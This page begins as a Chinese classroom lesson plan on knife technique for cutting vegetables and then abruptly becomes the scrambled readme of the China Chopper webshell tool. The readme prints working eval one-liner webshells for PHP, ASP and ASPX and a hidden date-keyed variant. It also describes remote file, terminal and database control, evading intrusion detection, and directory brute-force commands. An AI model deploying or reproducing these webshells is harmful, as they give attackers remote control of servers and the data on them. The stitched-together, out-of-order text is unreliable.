黄瓜丝的切制方法
教学准备
师:黄瓜、胡萝卜、菜刀、小刻刀、案板、盘子、成品
生:
板
书
设
计
菜刀的使用方法和技术
教学过程
环节
教师行为
学生行为
开始
宣布上课,师生问好!
师生问好!
导入
那你们喜欢有装饰的食品吗?你们喜欢有花样的蔬菜吗?那我们怎样把普通的蔬菜变成有花样的呢?今天我们就来学习《菜刀的使用方法和技术》。
探讨研究
1、教师提问
(1)菜刀分为几部分?
(2)持刀姿势是什么样的?
(3)怎样下刀、行刀?
(1)构思花形
(2)设计刀法
(3)实际切制
9.你准备切哪种花形怎样切?你还能自己设计几种不同的蔬菜花形吗?
学生分小组探讨研究
请两到三名学生到前面演示,教师指导。
教师演示学生观察
学生制作
学生动手实践,教师指导(放音乐)
要求:
1.注意用刀安全
2.注意地面卫生
3.同学之间可以相互合作
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- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>
C) 只扫描本C段开放的WEB服务器
{reverse_ip_c} {url:/} {port}
D) 蜘蛛爬行
{spider} {url:/}
E) 蜘蛛爬行,并设定爬行范围
{spider} {url:/} {range:}
ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456;
同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件
Customize 脚本:
可以在官网下载别人的CCC脚本,或分享你的得意之作。
注意:由于服务器的安全设置,某些功能可能不能正常使用。
3) 配置信息填写说明
---------------------------------------------------------------------------------------
<POST>https:///cgi-bin/login.cgi</POST>
<DATA>uid=user1&pwd=123456</DATA>
默认终端程序路径设置示例:
<SHELL>/bin/sh</SHELL>
虚拟终端默认命令设置示例:
<CMD>whoami</CMD>
</X>
MYSQL:
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
</X>
ORACLE:
<X>
oracle.jdbc.driver.OracleDriver
20110628版更新注意事项
缓存库最好重建一下。
--------------------------------------------
文件说明:
------------------------------------------------------------------
chopper.exe 菜刀程序
A) 数据库方面:
-----------------------------------------------------------------------------
PHP脚本:
<T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种
<H>主机地址<H> 主机地址可为机器名或IP地址,如localhost
文件管理默认打开的目录设置示例:
<CD>c:\windows\temp\</CD>
3) HTTP登录验证
SHELL地址这样填 http://user:pass@/server.asp
用户名密码中的特殊字符可用URL编码转换。
4) 数据导入:在SHELL列表界面,右键有一项菜单,可以把其它的菜刀库导入到当前分类中。
二、安全扫描
蜘蛛爬行,绑定域名查询,目录爆破。
命令解释:
A) 查单一IP的绑定域名
{reverse_ip} {url:/}
B) 扫描本C段开放的WEB服务器,并查询绑定域名
{reverse_ip_c} {url:/}
软件名称:中国菜刀(China chopper)
官方网站:/
----------------------------------------------------------------------------------------------------------
db.mdb 菜刀的主数据库
{crack} {url:/%s/} {flag:successfully} {dict:list.txt}
三、定时提醒
当闹钟来用吧, 周期:每月/每周/每日/只一次。
四、快速启动
一些常用的快捷方式放在这里,可以指定用户身份运行程序。这部分数据是加密存储的。
程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
----------------------------------------------------------------------------------------------------------
UINCODE方式编译,支持多国语言输入显示。
<T>类型</T> 类型只能填XDB
<X>与Customize 脚本约定的配置信息</X>
菜刀自带的Customize.jsp数据库参数填写方法如下(两行):
MSSQL:
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
在服务端运行的代码如下:
PHP: <?php @eval($_POST['chopper']);?>
ASP: <%eval request("chopper")%>
: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
PHP:
@eval($_POST[strtoupper(md5(gmdate("Ymd")."37E4DD20C310142564FC483DB1132F36"))]);
例如:菜刀的密码为chopper,在前面加三个字符,新密码为:{D}chopper
2)几大功能
在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件
{crack} {url:http://%s/admin/} {flag:HTTP/1.1 200} {dict:list.txt}
{crack} {url:http://%s/admin/} {flag:!!HTTP/1.1 404} {dict:list.txt}
免责申明:
请使用者注意使用环境并遵守国家相关法律法规!
由于使用不当造成的后果本厂家不承担任何责任!
----------------------------------------------------------------------------------------------------------
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分
1)基本信息
Eval服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
目前支持的服务端脚本:PHP, ASP, ,并且支持https安全连接的网站。
(注意: 要单独一个文件或此文件也是Jscript脚本)
Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
此模式可按需定制,比如只要浏览目录,或是只要虚拟终端功能,代码可以很简短。
随日期变化的连接密码, 服务端写法:
<%
Set o = Server.CreateObject("ScriptControl")
nguage = "vbscript"
o.addcode(Request("SC"))
o.run "ff",Server,Response,Request,Application,Session,Error
保存后即可使用文件管理,虚拟终端,数据库管理,自写脚本几大块功能。
1. 文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;
2. 虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法), 超长命令会分割为5k字节一份,分别提交。
3. 数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS, 以及支持ADO方式连接的数据库。
五、浏览器
就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。